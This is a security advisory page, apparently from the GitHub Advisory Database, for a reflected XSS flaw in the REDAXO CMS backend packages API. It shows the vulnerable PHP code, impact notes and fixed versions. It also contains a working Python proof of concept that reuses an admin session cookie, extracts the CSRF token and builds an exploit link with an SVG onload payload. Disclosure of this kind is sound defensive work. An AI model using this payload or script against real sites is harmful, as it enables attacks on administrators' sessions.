Low

REDAXO has reflected XSS backend packages API via function parameter (CSRF token required)

  • Disclosed: 10.04.2026
  • Updated: 11.10.2026 10:22

Summary

A reflected XSS vulnerability has been identified in the REDAXO backend. The function parameter is concatenated into an API error message and rendered without HTML escaping.


Details

Root cause User input function is injected into an exception message, then rendered by rex_view::error() which delegates to rex_view::message() without HTML escaping.

Vulnerable code (redaxo/src/core/lib/packages/api_package.php) :

php
$function = rex_request('function', 'string');
throw new rex_api_exception('Unknown package function "' . $function . '"!');

Sink (redaxo/src/core/lib/view.php) :

php
return '<div class="' . $cssClassMessage . '">' . $message . '</div>';

Source -> sink flow

  • Source: function (GET)
  • Propagation: concatenated into the exception message
  • Sink: rendered via rex_view::error() -> rex_view::message() without escaping

Authentication required: yes (backend session)


PoC - Exploit

python
#!/usr/bin/env python3
import re
import urllib.parse
import requests

TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"

# A valid backend PHP session id (must belong to a user who can access the Packages page)
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx

https://github.com/user-attachments/assets/94093253-abd6-4380-ad46-6b748541a598

"

VERIFY_SSL = False
TIMEOUT = 15

PAYLOAD = '\\"><svg/onload=alert("Pwned")>'

def build_backend_url() -> str:
    base = TARGET_URL.rstrip('/')
    return f"{base}/{BACKEND_PATH.lstrip('/')}"


def extract_api_csrf(html_text: str) -> str:
    m = re.search(r'rex-api-call=package[^\"]+_csrf_token=([^&\"\s]+)', html_text)
    if not m:
        raise RuntimeError("CSRF token for rex_api_call=package was not found in the page HTML.")
    return m.group(1)

def set_session_cookie(session: requests.Session) -> None:
    parsed = urllib.parse.urlparse(TARGET_URL)
    if parsed.hostname:
        session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")


def main() -> None:
    backend_url = build_backend_url()

    s = requests.Session()
    set_session_cookie(s)

    # Backend session required (role with access to packages)
    r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
    if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
        print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
        return

    r = s.get(backend_url, params={"page": "packages"}, timeout=TIMEOUT, verify=VERIFY_SSL)
    if r.status_code != 200:
        print(f"[!] Failed to access packages page (HTTP {r.status_code}).")
        return

    api_token = extract_api_csrf(r.text)

    params = {
        "page": "packages",
        "rex-api-call": "package",
        "function": PAYLOAD,
        "package": "nonexistent",
        "_csrf_token": api_token,
    }

    exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}"
    print(exploit_url)


if __name__ == "__main__":
    main()

To run the PoC you must set a valid admin account PHPSSID. The PoC will then automatically retrieve the CSRF token and generate a ready-to-use exploitation link.


Impact

  • Confidentiality: Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
  • Integrity: Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
  • Availability: Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.

Demo

https://github.com/user-attachments/assets/41d0186a-7ca0-4482-86c5-8bea6c8f6ac6

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package redaxo/source < 5.21.0 5.21.0

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-79
Platform
Composer
Package
redaxo/source
Disclosed
10.04.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-xq4j-g85q-wf97 - CC BY 4.0

Vulnerability history: redaxo/source

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (18) in the archive
Total entries
18
First → latest
02.2024 09.2026
Without a fix
3
Exploited in attacks
0

Severity breakdown

  • High 4
  • Medium 11
  • Low 3

Disclosures per year

  1. 2024: 3
  2. 2025: 7
  3. 2026: 8
Severity:
  1. REDAXO has reflected XSS backend packages API via function parameter (CSRF token required) this entry
    Low ghsa-xq4j-g85q-wf97 < 5.21.0 5.21.0
  2. High · 7.2 CVE-2024-25298 <= 5.15.1 no fix

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